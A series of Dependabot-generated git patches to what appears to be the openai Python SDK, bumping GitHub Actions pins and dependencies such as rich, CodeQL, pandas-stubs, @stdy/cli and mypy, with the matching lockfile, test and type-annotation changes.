- - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
diff --git a/.github/workflows/detect-breaking-changes.yml b/.github/workflows/detect-breaking-changes.yml
index 181e381d02..dba118b089 100644
--- a/.github/workflows/detect-breaking-changes.yml
+++ b/.github/workflows/detect-breaking-changes.yml
@@ -25,7 +25,7 @@ jobs:
env:
BASE_SHA: ${{ github.event_name == 'pull_request' && github.event.pull_request.base.sha || github.event.merge_group.base_sha }}
steps:
- - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
fetch-depth: 1
diff --git a/.github/workflows/publish-pypi.yml b/.github/workflows/publish-pypi.yml
index 61a0658f8d..3958bc7a34 100644
--- a/.github/workflows/publish-pypi.yml
+++ b/.github/workflows/publish-pypi.yml
@@ -15,7 +15,7 @@ jobs:
contents: read
steps:
- - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
From 7a5484d8118e82ec004e964ab2ca484c7dd7c555 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 27 Aug 2026 21:53:49 +0000
Subject: [PATCH 085/341] chore(deps-dev): bump rich from 14.2.0 to 15.0.0
(#3717)
Bumps [rich](https://github.com/Textualize/rich) from 14.2.0 to 15.0.0.
Release notes
Sourced from rich's
releases.
The So Long 3.8 Release
A few fixes. The major version bump is to honor the passing of 3.8
support which reached its EOL in October 7, 2024
[15.0.0] - 2026-04-12
Changed
- Breaking change: Dropped support for Python3.8
Fixed
The Faster Startup Release
No new features in this release, but there should be improved startup
time for Rich apps, and potentially improved runtime if you have a lot
of links.
[14.3.4] - 2026-04-11
Changed
The infinite Release
Fixed a infinite loop in split_graphemes
[14.3.3] - 2026-02-19
Fixed
The ZWJy release
A fix for cell_len edge cases
[14.3.2] - 2026-02-01
Fixed
The Nerdy Fix release
Fixed issue with characters outside of unicode range reporting 0 cell
size
[14.3.1] - 2026-01-24
... (truncated)
Changelog
Sourced from rich's
changelog.
[15.0.0] - 2026-04-12
Changed
- Breaking change: Dropped support for Python3.8
Fixed
[14.3.4] - 2026-04-11
Changed
[14.3.3] - 2026-02-19
Fixed
[14.3.2] - 2026-02-01
Fixed
[14.3.1] - 2026-01-24
Fixed
[14.3.0] - 2026-01-24
Fixed
Added
... (truncated)
Commits
---------
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Justin Beckwith
---
uv.lock | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/uv.lock b/uv.lock
index c508f413ab..b0179b120e 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1960,15 +1960,15 @@ wheels = [
[[package]]
name = "rich"
-version = "14.2.0"
+version = "15.0.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "markdown-it-py" },
{ name = "pygments" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/fb/d2/8920e102050a0de7bfabeb4c4614a49248cf8d5d7a8d01885fbb24dc767a/rich-14.2.0.tar.gz", hash = "sha256:73ff50c7c0c1c77c8243079283f4edb376f0f6442433aecb8ce7e6d0b92d1fe4", size = 219990, upload-time = "2025-10-09T14:16:53.064Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680, upload-time = "2026-04-12T08:24:00.75Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/25/7a/b0178788f8dc6cafce37a212c99565fa1fe7872c70c6c9c1e1a372d9d88f/rich-14.2.0-py3-none-any.whl", hash = "sha256:76bc51fe2e57d2b1be1f96c524b890b816e334ab4c1e45888799bfaab0021edd", size = 243393, upload-time = "2025-10-09T14:16:51.245Z" },
+ { url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 310654, upload-time = "2026-04-12T08:24:02.83Z" },
]
[[package]]
From a36010dbb5d9c15a1fdf780772bc0204d0acf138 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 27 Aug 2026 21:53:51 +0000
Subject: [PATCH 086/341] chore(deps): bump github/codeql-action/init from
4.37.1 to 4.37.7 (#3745)
Bumps
[github/codeql-action/init](https://github.com/github/codeql-action)
from 4.37.1 to 4.37.7.
Release notes
Sourced from github/codeql-action/init's
releases.
v4.37.7
v4.37.6
- Changed the default filepath for the new remote file address format
that was introduced in CodeQL Action 4.37.0 / 3.37.0 to
.github/codeql-config.yml to align it with the suggested
path that is used elsewhere. #4070
v4.37.5
- Fixed a bug where a network error while streaming the download of
the CodeQL bundle could terminate the
init Action instead
of falling back to downloading the bundle before extracting it. #4061
v4.37.4
- This version of the CodeQL Action adds support for the
tools input for the codeql-action/init step to
be specified using a github-codeql-tools repository
property. This feature will gradually be rolled out following the
release of this version. Once rolled out, this allows for the CodeQL CLI
version that is used in GitHub-managed workflows, such as Default Setup,
to be set to a custom value. For example, customers who run into issues
with rate limits when a new CodeQL CLI version is released can set the
value to toolcache to always use the CodeQL CLI version
that is available in the runner toolcache. For Advanced Setup workflows,
the value provided for tools in the workflow definition
always takes precedence unless the value of the repository property
starts with !. #4037
- Update default CodeQL bundle version to 2.26.2.
#4051
v4.37.3
No user facing changes.
v4.37.2
- The new address format for the
config-file input that
was introduced in CodeQL Action 4.37.0 is now enabled by default. In
addition to the format described there, the remote= prefix
can now be used to explicitly indicate that the input refers to a remote
file. All previous input formats continue to be accepted as well. #4023
- The CodeQL Action can now make use of configured
private registries in Default Setup to retrieve CodeQL configuration
files from remote repositories that require authentication. This will
allow customers to store their CodeQL configuration in a single
repository that can then be referenced by Default Setup workflows in
other repositories. We expect to roll this and other, related changes
out to everyone in July. #4007
Changelog
Sourced from github/codeql-action/init's
changelog.
CodeQL Action Changelog
See the releases
page for the relevant changes to the CodeQL CLI and language
packs.
[UNRELEASED]
No user facing changes.
4.37.9 - 26 Aug 2026
4.37.8 - 21 Aug 2026
No user facing changes.
4.37.7 - 13 Aug 2026
4.37.6 - 04 Aug 2026
- Changed the default filepath for the new remote file address format
that was introduced in CodeQL Action 4.37.0 / 3.37.0 to
.github/codeql-config.yml to align it with the suggested
path that is used elsewhere. #4070
4.37.5 - 03 Aug 2026
- Fixed a bug where a network error while streaming the download of
the CodeQL bundle could terminate the
init Action instead
of falling back to downloading the bundle before extracting it. #4061
4.37.4 - 29 Jul 2026
- This version of the CodeQL Action adds support for the
tools input for the codeql-action/init step to
be specified using a github-codeql-tools repository
property. This feature will gradually be rolled out following the
release of this version. Once rolled out, this allows for the CodeQL CLI
version that is used in GitHub-managed workflows, such as Default Setup,
to be set to a custom value. For example, customers who run into issues
with rate limits when a new CodeQL CLI version is released can set the
value to toolcache to always use the CodeQL CLI version
that is available in the runner toolcache. For Advanced Setup workflows,
the value provided for tools in the workflow definition
always takes precedence unless the value of the repository property
starts with !. #4037
- Update default CodeQL bundle version to 2.26.2.
#4051
4.37.3 - 22 Jul 2026
No user facing changes.
4.37.2 - 21 Jul 2026
- The new address format for the
config-file input that
was introduced in CodeQL Action 4.37.0 is now enabled by default. In
addition to the format described there, the remote= prefix
can now be used to explicitly indicate that the input refers to a remote
file. All previous input formats continue to be accepted as well. #4023
- The CodeQL Action can now make use of configured
private registries in Default Setup to retrieve CodeQL configuration
files from remote repositories that require authentication. This will
allow customers to store their CodeQL configuration in a single
repository that can then be referenced by Default Setup workflows in
other repositories. We expect to roll this and other, related changes
out to everyone in July. #4007
4.37.1 - 16 Jul 2026
- Upcoming breaking change: Add a deprecation warning for
customers using CodeQL version 2.20.6 and earlier. These versions of
CodeQL were discontinued on 1 July 2026 alongside GitHub Enterprise
Server 3.16, and will be unsupported by the next minor release of the
CodeQL Action. #3956
- Update default CodeQL bundle version to 2.26.1.
#4019
4.37.0 - 08 Jul 2026
... (truncated)
Commits
ff2f1c6
Merge pull request #4093
from github/update-v4.37.7-be7a3dbb8
951a133
Update changelog for v4.37.7
be7a3db
Merge pull request #4087
from github/dependabot/npm_and_yarn/npm-minor-0aa561...
9310334
Merge pull request #4086
from github/mbg/thread-action-state-to-codeql
b4d8a54
Rebuild
ab5db25
Bump the npm-minor group across 1 directory with 8 updates
38055a3
Drop logger from databaseInitCluster in
interface
1f87aed
Merge pull request #4085
from github/update-bundle/codeql-bundle-v2.26.3
dc1b98a
Make logger available to getCodeQLForCmd
6f0220e
Merge pull request #4084
from github/navntoft/bump-undici
- Additional commits viewable in compare
view
[](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)
Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.
[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)
---
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
---------
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Justin Beckwith
---
.github/workflows/codeql.yml | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml
index d189fda019..1f5de25a4e 100644
--- a/.github/workflows/codeql.yml
+++ b/.github/workflows/codeql.yml
@@ -30,9 +30,9 @@ jobs:
persist-credentials: false
- name: Initialize CodeQL
- uses: github/codeql-action/init@7188fc363630916deb702c7fdcf4e481b751f97a # v4
+ uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
with:
languages: python
- name: Analyze
- uses: github/codeql-action/analyze@7188fc363630916deb702c7fdcf4e481b751f97a # v4
+ uses: github/codeql-action/analyze@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
From 95f0b43d31599fe501f045dcc24964d1df5e196f Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 27 Aug 2026 21:54:11 +0000
Subject: [PATCH 087/341] chore(deps-dev): bump pandas-stubs from 2.2.2.240807
to 2.3.3.260113 (#3659)
Bumps [pandas-stubs](https://github.com/pandas-dev/pandas-stubs) from
2.2.2.240807 to 2.3.3.260113.
Commits
---------
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Justin Beckwith
---
uv.lock | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/uv.lock b/uv.lock
index b0179b120e..44b1807c31 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1490,16 +1490,16 @@ wheels = [
[[package]]
name = "pandas-stubs"
-version = "2.2.2.240807"
+version = "2.3.3.260113"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
{ name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
{ name = "types-pytz" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/1f/df/0da95bc75c76f1e012e0bc0b76da31faaf4254e94b9870f25e6311145e98/pandas_stubs-2.2.2.240807.tar.gz", hash = "sha256:64a559725a57a449f46225fbafc422520b7410bff9252b661a225b5559192a93", size = 103095, upload-time = "2024-08-07T12:30:54.538Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/92/5d/be23854a73fda69f1dbdda7bc10fbd6f930bd1fa87aaec389f00c901c1e8/pandas_stubs-2.3.3.260113.tar.gz", hash = "sha256:076e3724bcaa73de78932b012ec64b3010463d377fa63116f4e6850643d93800", size = 116131, upload-time = "2026-01-13T22:30:16.704Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/0a/f9/22c91632ea1b4c6165952f677bf9ad95f9ac36ffd7ef3e6450144e6d8b1a/pandas_stubs-2.2.2.240807-py3-none-any.whl", hash = "sha256:893919ad82be4275f0d07bb47a95d08bae580d3fdea308a7acfcb3f02e76186e", size = 157069, upload-time = "2024-08-07T12:30:51.868Z" },
+ { url = "https://files.pythonhosted.org/packages/d1/c6/df1fe324248424f77b89371116dab5243db7f052c32cc9fe7442ad9c5f75/pandas_stubs-2.3.3.260113-py3-none-any.whl", hash = "sha256:ec070b5c576e1badf12544ae50385872f0631fc35d99d00dc598c2954ec564d3", size = 168246, upload-time = "2026-01-13T22:30:15.244Z" },
]
[[package]]
From 4f5598c8d822fcc281bb8862e424fa6ead310ca8 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 27 Aug 2026 21:59:12 +0000
Subject: [PATCH 088/341] chore(deps-dev): bump @stdy/cli from 0.22.1 to 0.22.2
(#3719)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Bumps [@stdy/cli](https://github.com/dgellow/steady) from 0.22.1 to
0.22.2.
Release notes
Sourced from @stdy/cli's
releases.
Release v0.22.2
Changes
- chore: change license to MIT
Changelog
Sourced from @stdy/cli's
changelog.
0.22.2
Chores
Commits
[](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)
Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.
[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)
---
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
---------
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Justin Beckwith
---
package.json | 2 +-
pnpm-lock.yaml | 50 ++++++++++++++++++-------------------
tests/node-tooling.test.cjs | 3 ++-
3 files changed, 28 insertions(+), 27 deletions(-)
diff --git a/package.json b/package.json
index 53de130005..74002b2407 100644
--- a/package.json
+++ b/package.json
@@ -6,7 +6,7 @@
"node": "22.22.3"
},
"devDependencies": {
- "@stdy/cli": "0.22.1",
+ "@stdy/cli": "0.22.2",
"pyright": "1.1.399"
}
}
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 45da89b46c..6596484c44 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -9,41 +9,41 @@ importers:
.:
devDependencies:
'@stdy/cli':
- specifier: 0.22.1
- version: 0.22.1
+ specifier: 0.22.2
+ version: 0.22.2
pyright:
specifier: 1.1.399
version: 1.1.399
packages:
- '@stdy/cli-darwin-arm64@0.22.1':
- resolution: {integrity: sha512-sahxc3R9I+vO7dDr7t9aneE8aLZdZeaQU5OfhZVLny97K8K7RXqhpXHN/0DFvg3Pw5ZKisHvJysY3iu/LIZA6g==}
+ '@stdy/cli-darwin-arm64@0.22.2':
+ resolution: {integrity: sha512-k5WGyCQl7DDpYWy3BI5TxGIxOdUpMeJ0q7kUi1EYs7Y72B/q0hIKDv3/fCgoZPWBI+N9XjnlSyetaxVQTRvWow==}
cpu: [arm64]
os: [darwin]
- '@stdy/cli-darwin-x64@0.22.1':
- resolution: {integrity: sha512-/bVzcHkbX6zn5qZL73oWR5YXVc/+/IP7uWYw905B+hWRuZlJfN7hX4+68BxCBOI8wiRf82cSQjRnI/Datdwz1Q==}
+ '@stdy/cli-darwin-x64@0.22.2':
+ resolution: {integrity: sha512-BYbQhEqBiEd+G9IyXWLpgAcSXFKMr6W3ZQXiOS3O5NnOWv+bNuyo793eBvEJ5fRKiuCV6n/ANVSJZLFOf6Nzog==}
cpu: [x64]
os: [darwin]
- '@stdy/cli-linux-arm64@0.22.1':
- resolution: {integrity: sha512-XGQy3ZqF5COqRgAVGxCdoW9dzxnfxxCSAHCGmhpFc+pVfpQcYHfPcnNhmWhplMCeriTUyCKLJG+/fGdyji7e2Q==}
+ '@stdy/cli-linux-arm64@0.22.2':
+ resolution: {integrity: sha512-HjSQdAt40CpYIauUKJ1xyIEsdrf5LtQP1x8Su7BEZJN94807ROJXxabW+jXyc48823tVBkrnxNUUTrBK4TVTRw==}
cpu: [arm64]
os: [linux]
- '@stdy/cli-linux-x64@0.22.1':
- resolution: {integrity: sha512-u7581I3sc6R+PUwGkvEFbvD/w6YXvRk+iT0BImWKPtKYA26cPP16lgA7gquu3tAEk+3c9YGn5xhUphCc96aLSg==}
+ '@stdy/cli-linux-x64@0.22.2':
+ resolution: {integrity: sha512-kp5QdG26EC8gEzVXI0YgzmiiFHz7DFCNRLNfAWa2rDPHr/jUBnfkP8AlbTPmv0YNQpnKn1wzSWHFw88fn/OTog==}
cpu: [x64]
os: [linux]
- '@stdy/cli-win32-x64@0.22.1':
- resolution: {integrity: sha512-4kkgSGCKTO/Fb+ciBANshegYIztBqynIyOveWYc3Vp7mXszg8yx6slKSzz5bg757H8Ol2jxxuL4XxHVIGMr6Rw==}
+ '@stdy/cli-win32-x64@0.22.2':
+ resolution: {integrity: sha512-7ZsJltOYVvMTl6eAy1AKMya7TFhb629FXr/BKZTyQsBrPj28rAaebQSTFYs1IZN0+n6LnJTpue6m4SIkevqBNA==}
cpu: [x64]
os: [win32]
- '@stdy/cli@0.22.1':
- resolution: {integrity: sha512-VdnCoK/d0JWIhToajBxAdagTpLCX/zTd7RiuK1KdT12Q4pZn/+eS97gq94+jv6TbiMd+9SWeOdsQCoagpLmNfA==}
+ '@stdy/cli@0.22.2':
+ resolution: {integrity: sha512-37UQfqcOSv1kevXJDt4FUA/l3vc62gzahzMcKJx5qL/kSt5ExRg++hGMwV1/PTRLIBOgbMzpKfoK26TaUYkdng==}
engines: {node: '>=14.0.0'}
hasBin: true
@@ -59,28 +59,28 @@ packages:
snapshots:
- '@stdy/cli-darwin-arm64@0.22.1':
+ '@stdy/cli-darwin-arm64@0.22.2':
optional: true
- '@stdy/cli-darwin-x64@0.22.1':
+ '@stdy/cli-darwin-x64@0.22.2':
optional: true
- '@stdy/cli-linux-arm64@0.22.1':
+ '@stdy/cli-linux-arm64@0.22.2':
optional: true
- '@stdy/cli-linux-x64@0.22.1':
+ '@stdy/cli-linux-x64@0.22.2':
optional: true
- '@stdy/cli-win32-x64@0.22.1':
+ '@stdy/cli-win32-x64@0.22.2':
optional: true
- '@stdy/cli@0.22.1':
+ '@stdy/cli@0.22.2':
optionalDependencies:
- '@stdy/cli-darwin-arm64': 0.22.1
- '@stdy/cli-darwin-x64': 0.22.1
- '@stdy/cli-linux-arm64': 0.22.1
- '@stdy/cli-linux-x64': 0.22.1
- '@stdy/cli-win32-x64': 0.22.1
+ '@stdy/cli-darwin-arm64': 0.22.2
+ '@stdy/cli-darwin-x64': 0.22.2
+ '@stdy/cli-linux-arm64': 0.22.2
+ '@stdy/cli-linux-x64': 0.22.2
+ '@stdy/cli-win32-x64': 0.22.2
fsevents@2.3.3:
optional: true
diff --git a/tests/node-tooling.test.cjs b/tests/node-tooling.test.cjs
index 35c0c2fc2e..d9f676fe13 100644
--- a/tests/node-tooling.test.cjs
+++ b/tests/node-tooling.test.cjs
@@ -86,8 +86,9 @@ test('Steady is local-only and receives the original arguments', (t) => {
assert.equal(missing.status, 1);
assert.match(missing.stderr, /Missing local steady/);
const directory = path.join(root, 'node_modules/@stdy/cli');
+ const manifest = JSON.parse(fs.readFileSync(path.join(root, 'package.json'), 'utf8'));
fs.mkdirSync(directory, { recursive: true });
- fs.writeFileSync(path.join(directory, 'package.json'), JSON.stringify({ version: '0.22.1' }));
+ fs.writeFileSync(path.join(directory, 'package.json'), JSON.stringify({ version: manifest.devDependencies['@stdy/cli'] }));
fs.writeFileSync(path.join(directory, 'steady.js'), 'console.log(JSON.stringify(process.argv.slice(2)));');
const result = run(root, ['steady', 'spec with spaces.yml', '--version']);
assert.equal(result.status, 0);
From 0b52c9ecbc2bfe7059a1273674dff7647d414141 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 27 Aug 2026 22:12:37 +0000
Subject: [PATCH 089/341] chore(deps-dev): bump mypy from 1.17 to 2.3.1 (#3747)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Bumps [mypy](https://github.com/python/mypy) from 1.17 to 2.3.1.
Changelog
Sourced from mypy's
changelog.
Mypy 2.3.1
- Fix mypyc crash on double yielding Iterators (Daniël van Noord, PR
21826)
- Fix mypyc
default_factory for inherited dataclass
(Daniël van Noord, PR 21785)
- Clear mypyc coroutine env on coroutine completion (Piotr Sawicki, PR
21734)
- Fix crash when unpacking return value from overload (Shantanu, PR 21830)
Acknowledgements
Thanks to all mypy contributors who contributed to this release:
- Agriya Khetarpal
- Ethan Sarp
- Ivan Levkivskyi
- Jingchen Ye
- Jukka Lehtosalo
- Piotr Sawicki
- Shantanu
- Tom Bannink
- Viktor Szépe
- ygale
I'd also like to thank my employer, Dropbox, for supporting mypy
development.
Mypy 2.2
We've just uploaded mypy 2.2.0 to the Python Package Index (PyPI).
Mypy is a static type checker for Python. This release includes new
features, performance
improvements and bug fixes. You can install it as follows:
python3 -m pip install -U mypy
You can read the full documentation for this release on Read the Docs.
Support for Closed TypedDicts (PEP 728)
Mypy now supports closed TypedDicts as specified in PEP 728. A closed
TypedDict cannot have extra
keys beyond those explicitly defined. This allows the type checker to
determine that certain
operations are safe when they otherwise wouldn't be due to the potential
presence of unknown keys.
You can use the closed keyword argument with
TypedDict:
HasName = TypedDict("HasName",
{"name": str})
HasOnlyName = TypedDict("HasOnlyName", {"name":
str}, closed=True)
Movie = TypedDict("Movie", {"name": str,
"year": int})
movie: Movie = {"name": "Nimona",
"year": 2023}
has_name: HasName = movie # OK: HasName is open (default)
has_only_name: HasOnlyName = movie # Error: HasOnlyName is closed and
Movie has extra "year" key
</tr></table>
... (truncated)
Commits
d642c44
Bump version to 2.3.1
a392429
[mypyc] Fix crash on double yielding Iterators (#21826)
4843e77
[mypyc] Fix default_factory for inherited dataclass (#21785)
14f5df9
[mypyc] Clear coroutine env on coroutine completion (#21734)
6dfa06d
Fix crash when unpacking return value from overload (#21830)
a385746
Bump version to 2.3.1+dev
8aabf84
Drop +dev from version
4d8ad2a
Update changelog for 2.3 release (#21728)
2c21546
[mypyc] Update documentation of race conditions under free threading (#21726)
a9f62a3
[mypyc] Make attribute access memory safe on free-threaded builds (#21705)
- Additional commits viewable in compare
view
[](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)
Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.
[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)
---
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
---------
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Justin Beckwith
---
pyproject.toml | 7 +-
src/openai/_utils/_compat.py | 2 +-
uv.lock | 316 ++++++++++++++++++++++++++++++-----
3 files changed, 282 insertions(+), 43 deletions(-)
diff --git a/pyproject.toml b/pyproject.toml
index bf804359d6..da36c382a5 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -53,7 +53,7 @@ bedrock = [
[dependency-groups]
dev = [
- "mypy==1.17",
+ "mypy==2.3.1",
"pytest>=9.0.3",
"pytest-asyncio>=1.4.0",
"ruff",
@@ -249,6 +249,11 @@ module = "black.files.*"
ignore_errors = true
ignore_missing_imports = true
+# Preserve the existing _files.py exclusion when mypy follows its imports.
+[[tool.mypy.overrides]]
+module = "openai._files"
+follow_imports = "silent"
+
[tool.ruff]
extend-exclude = ["tests/respx2", "src/openai/_vendor"]
line-length = 120
diff --git a/src/openai/_utils/_compat.py b/src/openai/_utils/_compat.py
index 2c70b299ce..03881b595a 100644
--- a/src/openai/_utils/_compat.py
+++ b/src/openai/_utils/_compat.py
@@ -9,7 +9,7 @@
from .._types import StrBytesIntFloat
from ._datetime_parse import parse_date as _parse_date, parse_datetime as _parse_datetime
-_LITERAL_TYPES = {Literal, typing_extensions.Literal}
+_LITERAL_TYPES: set[object] = {Literal, typing_extensions.Literal}
def get_args(tp: type[Any]) -> tuple[Any, ...]:
diff --git a/uv.lock b/uv.lock
index 44b1807c31..1ad34ec3e8 100644
--- a/uv.lock
+++ b/uv.lock
@@ -2,9 +2,12 @@ version = 1
revision = 3
requires-python = ">=3.10"
resolution-markers = [
- "python_full_version >= '3.14' and sys_platform == 'win32'",
- "python_full_version >= '3.14' and sys_platform == 'emscripten'",
- "python_full_version >= '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version >= '3.15' and sys_platform == 'win32'",
+ "python_full_version == '3.14.*' and sys_platform == 'win32'",
+ "python_full_version >= '3.15' and sys_platform == 'emscripten'",
+ "python_full_version == '3.14.*' and sys_platform == 'emscripten'",
+ "python_full_version >= '3.15' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version == '3.14.*' and sys_platform != 'emscripten' and sys_platform != 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
@@ -222,6 +225,70 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/38/0e/27be9fdef66e72d64c0cdc3cc2823101b80585f8119b5c112c2e8f5f7dab/anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c", size = 113592, upload-time = "2026-01-06T11:45:19.497Z" },
]
+[[package]]
+name = "ast-serialize"
+version = "0.8.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e1/a9/11851c3e02a3fea2ddc9932d1fdc7d2edaeecc0d2e11bc5f2a7fde2b0934/ast_serialize-0.8.0.tar.gz", hash = "sha256:6c37c43e4004dfb42d321ddedc569dc17ff4259296f3af577c9ea46a809bc010", size = 845638, upload-time = "2026-08-07T11:29:02.152Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/34/16/6e520b57cd8c75914b38c670ad4593d13c22911e4306cc7165dab8b0789b/ast_serialize-0.8.0-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:3d822605fa7bb326ef868d25fafced7fc660fa46d9b90c02ea86d5e2f5d325f7", size = 863924, upload-time = "2026-08-07T11:27:34.579Z" },
+ { url = "https://files.pythonhosted.org/packages/03/e1/48802de9b22a2bcad42ec80601a17e3f69172fe4f590e6311bcc2b323aeb/ast_serialize-0.8.0-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:2efa40b068197d5efb62655b43baadb842ed71c4958cccd3e8b86a35726f0119", size = 1177662, upload-time = "2026-08-07T11:27:36.196Z" },
